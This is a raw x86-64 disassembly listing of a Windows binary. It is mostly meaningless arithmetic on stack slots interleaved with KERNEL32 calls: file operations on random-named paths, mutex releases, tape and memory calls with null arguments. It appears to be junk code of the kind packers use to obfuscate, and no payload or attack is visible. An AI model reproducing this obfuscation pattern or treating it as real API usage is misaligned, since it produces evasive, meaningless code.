mov rcx, qword [rsp + 0xbcf8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6f58], rax
mov eax, dword [rsp + 0x4584]
mov dword [rsp + 0x4cb4], eax
mov rax, qword [rsp + 0xa408]
movsx eax, byte [rax]
movsx ecx, byte [0x14022b810]
sub eax, ecx
mov byte [rsp + 0x282], al
mov rax, qword [rsp + 0xa420]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc820]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x19c4], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
lea rcx, [rsp + 0xcbd0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x7b68]
mov rcx, qword [rsp + 0x7f20]
xor rcx, rax
mov rax, rcx
mov qword [0x14022bf60], rax
mov rax, qword [rsp + 0xb0c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb348]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc1c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb470]
mov ecx, dword [rsp + 0x4658]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x441c], eax
mov rax, qword [rsp + 0xa7f0]
movzx eax, word [rax]
mov word [rsp + 0x20d4], ax
movzx eax, word [rsp + 0x1968]
movzx ecx, word [rsp + 0x1f14]
sar eax, cl
mov rcx, qword [rsp + 0xc3d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xae68]
mov qword [rsp + 0xcbd8], rax
mov rax, qword [rsp + 0xc898]
mov rcx, qword [rsp + 0x98b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4044], eax
movsx eax, byte [rsp + 0xeb]
movsx ecx, byte [rsp + 0x3b7]
and eax, ecx
mov byte [rsp + 0x343], al
movsx eax, word [rsp + 0x10b4]
movsx ecx, word [rsp + 0x2078]
and eax, ecx
mov word [rsp + 0xb7c], ax
movzx eax, word [rsp + 0x1e54]
movzx ecx, word [0x14022b850]
and eax, ecx
mov rcx, qword [0x14022b860]
mov word [rcx], ax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x9120]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xaee8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb1a8]
mov rax, qword [rax]
mov qword [rsp + 0xcbe0], rax
mov rax, qword [rsp + 0x76b0]
mov rcx, qword [rsp + 0xbac8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x74b8], rax
movsx eax, word [rsp + 0x1b80]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xaec], ax
mov rax, qword [0x14022bbc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc500]
mov qword [rsp + 0xcbe8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcbe8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x84a8], rax
mov rax, qword [rsp + 0xb8a8]
mov ecx, dword [rsp + 0x473c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4778], eax
lea rax, [rsp + 0x372]
mov qword [rsp + 0xcbf0], rax
mov rcx, qword [rsp + 0xa2e8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x99c8]
mov rcx, qword [rsp + 0xb950]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x49ec], eax
movzx eax, byte [rsp + 0x3db]
mov rcx, qword [rsp + 0xaa08]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc358]
mov byte [rcx], al
mov rax, qword [rsp + 0xc040]
movzx eax, word [rax]
mov word [0x14022bf7c], ax
mov rax, qword [rsp + 0xa000]
movzx eax, word [rax]
mov word [rsp + 0x20d8], ax
mov rax, qword [0x14022b998]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa34]
sub eax, ecx
mov word [rsp + 0x1a94], ax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xb7d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8b08], rax
movsx eax, byte [rsp + 0x36b]
movsx ecx, byte [rsp + 0x8c]
and eax, ecx
mov byte [rsp + 0x8d], al
mov eax, dword [rsp + 0x4034]
mov dword [rsp + 0x4cb8], eax
mov rax, qword [rsp + 0xbef8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc680]
mov qword [rsp + 0xcbf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcbf8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x78f0], rax
mov rax, qword [rsp + 0xa800]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1fa4]
add eax, ecx
mov word [rsp + 0x1f2c], ax
lea rax, [rsp + 0x1e60]
mov qword [rsp + 0xcc00], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0xbd60]
mov rcx, qword [rsp + 0x6f78]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14022a160], rax
mov rax, qword [rsp + 0xb6f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1958]
and eax, ecx
mov word [rsp + 0x1cf0], ax
mov rax, qword [rsp + 0xacf0]
mov qword [rsp + 0xcc08], rax
mov rax, qword [rsp + 0xafe8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc5f8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb760]
mov qword [rcx], rax
mov r9d, 0x53d
xor r8d, r8d
lea rdx, [rsp + 0xad70]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b90], eax
mov eax, dword [rsp + 0x4530]
movzx ecx, al
mov eax, dword [rsp + 0x4838]
shr eax, cl
mov dword [rsp + 0x484c], eax
lea rcx, [rsp + 0xcc10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xcba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6f8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9550], rax
mov rax, qword [rsp + 0xad58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b]
shl eax, cl
mov byte [rsp + 0x2bb], al
mov eax, dword [rsp + 0x45d8]
mov dword [rsp + 0x4cbc], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x48c0
mov rcx, qword [rsp + 0x9c38]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x49dc], eax
movsx eax, byte [rsp + 0xa4]
mov rcx, qword [rsp + 0xb280]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x27f], al
movsx eax, word [0x14022bae0]
mov rcx, qword [rsp + 0xb168]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14022be98]
mov word [rcx], ax
mov rax, qword [rsp + 0xc738]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa460]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c70]
mov word [rcx], ax
lea rax, [rsp + 0x81c]
mov qword [rsp + 0xcc18], rax
mov rax, qword [0x14022ba40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba80]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc828]
mov word [rcx], ax
mov rax, qword [rsp + 0xc1f0]
mov rcx, qword [rsp + 0xbc50]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x92e0], rax
mov rax, qword [rsp + 0xaa40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x49e8]
shr eax, cl
mov dword [rsp + 0x49a4], eax
movsx eax, byte [rsp + 0xa0]
movsx ecx, byte [rsp + 0x351]
imul eax, ecx
mov byte [rsp + 0x164], al
movzx eax, word [rsp + 0x1de8]
mov word [rsp + 0x20dc], ax
mov rax, qword [rsp + 0xb170]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc770]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1fc4], ax
mov rax, qword [rsp + 0x7788]
mov rcx, qword [rsp + 0x9d58]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14022be28]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaee8]
mov rax, qword [rax]
mov qword [rsp + 0xcc20], rax
mov rax, qword [rsp + 0xa3f0]
mov rcx, qword [0x140229ff8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xad30], rax
mov rax, qword [rsp + 0xaa20]
mov rcx, qword [rsp + 0xb330]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8710], rax
lea rdx, [rsp + 0x4cc0]
mov rcx, qword [rsp + 0xc618]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b9c], eax
movzx eax, word [rsp + 0x17f8]
movzx ecx, word [0x14022bec0]
sub eax, ecx
mov rcx, qword [rsp + 0xaf00]
mov word [rcx], ax
mov rax, qword [rsp + 0xa7d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc510]
mov qword [rsp + 0xcc28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc28]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xc310]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x3bf]
mov byte [rsp + 0x3e7], al
movsx eax, byte [rsp + 0x233]
movsx ecx, byte [rsp + 0x6a]
xor eax, ecx
mov rcx, qword [rsp + 0xc2c8]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x441c
mov rcx, qword [rsp + 0xbee0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4884], eax
mov rax, qword [rsp + 0x9cc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a8c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4110], eax
lea rax, [rsp + 0xcb30]
mov qword [0x14022bf80], rax
movsx eax, word [rsp + 0x1c90]
mov rcx, qword [rsp + 0xaf58]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1ca0], ax
mov rcx, qword [rsp + 0x9860]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0x1680]
mov rcx, qword [rsp + 0xb270]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xad0], ax
lea rax, [rsp + 0xaa8]
mov qword [rsp + 0xcc30], rax
mov rax, qword [rsp + 0x8180]
mov rcx, qword [0x14022be88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8820], rax
lea rax, [rsp + 0x121]
mov qword [rsp + 0xcc38], rax
mov rax, qword [rsp + 0xbed8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4778]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x40f4], eax
mov rax, qword [rsp + 0xbbc0]
mov rcx, qword [0x14022bc38]
mov qword [rsp + 0xcc40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc40]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x7490], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.3MPmEiyqZX
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcc48], rax
mov rax, qword [rsp + 0xa398]
movzx eax, word [rax]
mov word [rsp + 0x20e0], ax
movzx eax, word [rsp + 0x163c]
movzx ecx, word [rsp + 0x1e60]
and eax, ecx
mov word [0x14022bc08], ax
lea rdx, [rsp + 0x4b70]
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x494c], eax
mov rcx, qword [rsp + 0xad60]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9d80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7350]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc550]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcb80]
movzx eax, word [rax]
mov word [rsp + 0x20e4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.PST4W5ho4wf2c8Y7oFTU5
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcc50], rax
mov rax, qword [rsp + 0xc658]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x250]
add eax, ecx
mov rcx, qword [rsp + 0xac50]
mov byte [rcx], al
lea rax, [rsp + 0x4760]
mov qword [rsp + 0xcc58], rax
mov rax, qword [rsp + 0x9ee8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcb78]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x395], al
mov rax, qword [rsp + 0xa2a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8020], rax
mov eax, dword [rsp + 0x4894]
mov rcx, qword [rsp + 0xb928]
mov qword [rsp + 0xcc60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc60]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3aec], eax
mov rax, qword [rsp + 0xb9e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16bc]
or eax, ecx
mov rcx, qword [rsp + 0x9c00]
mov word [rcx], ax
movzx eax, word [0x14022be60]
mov word [0x14022bf88], ax
mov rax, qword [rsp + 0xbd30]
mov qword [rsp + 0xcc68], rax
mov rax, qword [rsp + 0xa6d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa2b0]
mov qword [rsp + 0xcc70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc70]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa3c8], rax
movsx eax, word [rsp + 0x1f3c]
mov rcx, qword [rsp + 0xc290]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e50], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xc2a0
mov rcx, qword [rsp + 0xaae8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48d4], eax
movzx eax, word [rsp + 0xa18]
mov rcx, qword [rsp + 0xc6c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe70], ax
mov rax, qword [rsp + 0xa518]
mov ecx, dword [rsp + 0x4c68]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x49e0], eax
mov rax, qword [0x14022ba80]
movzx eax, byte [rax]
mov byte [rsp + 0x3e8], al
mov rax, qword [rsp + 0xc380]
mov rcx, qword [rsp + 0xc098]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8c58], rax
lea rcx, [rsp + 0xbdf8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9f48]
mov rcx, qword [rsp + 0x9f10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7e70], rax
movsx eax, word [rsp + 0x156c]
mov rcx, qword [rsp + 0xb8f0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14022ba58]
mov word [rcx], ax
movzx eax, word [rsp + 0x202c]
mov word [rsp + 0x20e8], ax
movzx eax, byte [rsp + 0x3b4]
movzx ecx, byte [0x140229f1d]
add eax, ecx
mov byte [rsp + 0x35d], al
lea rax, [rsp + 0x4bb8]
mov qword [rsp + 0xcc78], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
lea rcx, [rsp + 0xcc80]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov r9d, 0x1e6b
xor r8d, r8d
lea rdx, [rsp + 0x9ef8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b08], eax
mov rax, qword [rsp + 0x94b0]
mov rcx, qword [rsp + 0x8b08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8710], rax
mov eax, dword [0x14022bae4]
mov ecx, dword [rsp + 0x4894]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x49f4], eax
lea rax, [rsp + 0x367]
mov qword [rsp + 0xcc88], rax
mov rax, qword [rsp + 0xb808]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa898]
mov qword [rsp + 0xcc90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc90]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xb930]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9ee0]
movsx eax, word [rax]
movsx ecx, word [0x14022bed8]
or eax, ecx
mov word [rsp + 0x948], ax
movzx eax, word [rsp + 0xb5c]
mov word [0x14022bf8c], ax
mov rax, qword [rsp + 0xcba0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa360]
mov qword [rsp + 0xcc98], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc98]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xb478]
mov qword [rcx], rax
lea rdx, [rsp + 0x4cc4]
mov rcx, qword [rsp + 0xbe10]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4a68], eax
mov rax, qword [0x14022bc18]
movzx eax, word [rax]
mov word [rsp + 0x20ec], ax
movsx eax, word [rsp + 0x10b4]
movsx ecx, word [rsp + 0xab4]
sub eax, ecx
mov rcx, qword [rsp + 0xa398]
mov word [rcx], ax
lea rcx, [rsp + 0xc470]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa6d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xad30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x96d0], rax
lea rax, [rsp + 0x3de0]
mov qword [rsp + 0xcca0], rax
lea rdx, [rsp + 0x4cc8]
mov rcx, qword [rsp + 0xa890]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4708], eax
movsx eax, byte [rsp + 0x37f]
movsx ecx, byte [rsp + 0x39f]
add eax, ecx
mov byte [rsp + 0x349], al
lea rax, [rsp + 0xca58]
mov qword [rsp + 0xcca8], rax
mov rax, qword [rsp + 0xb170]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ca8]
sub eax, ecx
mov rcx, qword [rsp + 0xae38]
mov word [rcx], ax
mov rax, qword [rsp + 0xcba0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae40]
and rcx, rax
mov rax, rcx
mov qword [0x14022bf70], rax
mov rax, qword [rsp + 0xb450]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b44]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x489c], eax
mov rax, qword [rsp + 0xc658]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x38b]
sar eax, cl
mov byte [rsp + 0x2c7], al
movsx eax, word [rsp + 0x17fc]
movsx ecx, word [rsp + 0x1e20]
add eax, ecx
mov word [rsp + 0xce0], ax
lea rax, [0x14022b990]
mov qword [rsp + 0xccb0], rax
mov eax, dword [rsp + 0x4834]
mov ecx, dword [rsp + 0x4b0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4308], eax
mov r9d, 0x2624
xor r8d, r8d
lea rdx, [rsp + 0xc440]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a24], eax
movsx eax, byte [rsp + 0x371]
movsx ecx, byte [rsp + 0x38c]
cdq
idiv ecx
mov byte [rsp + 0x357], al
lea rax, [0x14022a018]
mov qword [rsp + 0xccb8], rax
mov rax, qword [rsp + 0xaa80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc860]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1e90], ax
lea rax, [rsp + 0x1ecc]
mov qword [0x14022bf90], rax
lea rax, [rsp + 0x84d0]
mov qword [rsp + 0xccc0], rax
mov rax, qword [rsp + 0xb358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb638]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9cf0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xe898
mov rcx, qword [rsp + 0xc318]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4a78], eax
lea rax, [rsp + 0x8078]
mov qword [rsp + 0xccc8], rax
movsx eax, word [rsp + 0xae8]
mov rcx, qword [rsp + 0xb7f0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xb738]
mov word [rcx], ax
mov rax, qword [0x14022b818]
mov rcx, qword [rsp + 0xaef8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9468], rax
lea rcx, [rsp + 0xccd0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rdx, [rsp + 0x4c14]
mov rcx, qword [rsp + 0xa3f8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4c5c], eax
lea rax, [rsp + 0x3b10]
mov qword [rsp + 0xccd8], rax
mov rax, qword [rsp + 0xaa18]
movsx eax, byte [rax]
imul eax, eax, 0x77
mov rcx, qword [rsp + 0xa868]
mov byte [rcx], al
mov rax, qword [rsp + 0xbcc8]
mov eax, dword [rax]
mov dword [rsp + 0x4ccc], eax
movzx eax, byte [rsp + 0x275]
mov rcx, qword [rsp + 0xbdc8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x331], al
mov rax, qword [rsp + 0xba98]
movsx eax, word [rax]
movsx ecx, word [0x140229f50]
sub eax, ecx
mov word [0x140229f68], ax
movzx eax, word [rsp + 0x1260]
movzx ecx, word [rsp + 0x1214]
and eax, ecx
mov word [rsp + 0x107c], ax
lea rax, [rsp + 0x1a28]
mov qword [rsp + 0xcce0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [0x14022ba50]
mov rcx, qword [rsp + 0xbde8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7638], rax
lea rax, [rsp + 0x4298]
mov qword [rsp + 0xcce8], rax
movsx eax, byte [rsp + 0x363]
mov rcx, qword [rsp + 0xb7c8]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x385], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xccf0], rax
mov rax, qword [rsp + 0xc6a8]
mov rcx, qword [rsp + 0x7ff8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xae68], rax
lea rdx, [rsp + 0x4a38]
mov rcx, qword [rsp + 0xbb70]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4798], eax
movsx eax, word [rsp + 0x1e78]
mov rcx, qword [rsp + 0xb278]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ab0], ax
mov rax, qword [rsp + 0x9c10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cc4]
sar eax, cl
mov word [rsp + 0x1fe8], ax
mov rcx, qword [rsp + 0xc0b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x7f20]
mov rcx, qword [rsp + 0xa938]
and rcx, rax
mov rax, rcx
mov qword [0x14022a168], rax
movzx eax, word [rsp + 0xac0]
mov word [rsp + 0x20f0], ax
lea rcx, [rsp + 0xccf8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xacd8]
mov rcx, qword [0x14022a0b8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa180]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc938]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb7d8]
mov qword [rsp + 0xcd00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcd00]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9e38], rax
lea rax, [rsp + 0x49e4]
mov qword [rsp + 0xcd08], rax
mov rax, qword [rsp + 0xada8]
mov rcx, qword [rsp + 0xb7a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbf80], rax
lea rdx, [rsp + 0x4a04]
mov rcx, qword [rsp + 0xb9c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4898], eax
lea rax, [rsp + 0x100]
mov qword [rsp + 0xcd10], rax
lea rcx, [rsp + 0xcd18]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9c88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b44]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9800]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc880]
movzx eax, byte [rax]
mov byte [rsp + 0x3e9], al
lea rax, [0x140229f34]
mov qword [0x14022bf98], rax
movsx eax, word [rsp + 0x1c84]
movsx ecx, word [rsp + 0x10d4]
sub eax, ecx
mov word [rsp + 0x1d34], ax
movzx eax, word [rsp + 0xa64]
movzx ecx, word [rsp + 0x1e04]
and eax, ecx
mov word [rsp + 0x1fbc], ax
lea rax, [0x140229f98]
mov qword [rsp + 0xcd20], rax
mov eax, dword [rsp + 0x479c]
mov rcx, qword [rsp + 0x98e8]
mov qword [rsp + 0xcd28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcd28]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x48ac], eax
mov rax, qword [rsp + 0xcbf0]
movsx eax, byte [rax]
mov rcx, qword [0x14022b9d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xbc], al
mov rax, qword [rsp + 0x9e00]
mov rcx, qword [rsp + 0x9ad8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb390], rax
mov rax, qword [rsp + 0xc3f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ec4]
and eax, ecx
mov rcx, qword [rsp + 0xaf98]
mov word [rcx], ax
movzx eax, word [0x14022bb38]
mov word [rsp + 0x20f4], ax
lea rdx, [rsp + 0x4918]
mov rcx, qword [rsp + 0xc6f8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4790], eax
mov rax, qword [rsp + 0xa710]
mov rcx, qword [rsp + 0xc020]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14022baf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c80]
movzx ecx, al
mov rax, qword [rsp + 0xc5f8]
sar rax, cl
mov qword [rsp + 0x8d08], rax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0xb7f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0xcb08]
mov rcx, qword [rsp + 0x9b90]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xca90]
mov qword [rcx], rax
movzx eax, word [rsp + 0x888]
movzx ecx, word [0x14022bc68]
shl eax, cl
mov rcx, qword [rsp + 0xa018]
mov word [rcx], ax
mov rax, qword [rsp + 0xb2e8]
movzx eax, byte [rax]
mov byte [rsp + 0x3ea], al
mov rax, qword [rsp + 0xa160]
mov ecx, dword [rsp + 0x3db8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4968], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [0x14022b808]
mov qword [rsp + 0xcd30], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.sFQgtBfoezqvooApmatG
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcd38], rax
movsx eax, byte [rsp + 0x3a6]
mov rcx, qword [rsp + 0xbff8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x356], al
mov rax, qword [rsp + 0xcae8]
mov rcx, qword [rsp + 0xae00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14022b878], eax
movsx eax, word [rsp + 0xea0]
mov rcx, qword [rsp + 0xb5f0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa628]
mov word [rcx], ax
mov rax, qword [rsp + 0xb5d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf58]
sar eax, cl
mov word [rsp + 0x141c], ax
movzx eax, word [rsp + 0xdb8]
mov rcx, qword [0x14022be80]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xca00]
mov word [rcx], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x36e8
mov rcx, qword [rsp + 0xbd08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47f4], eax
mov rax, qword [rsp + 0xbd98]
mov rax, qword [rax]
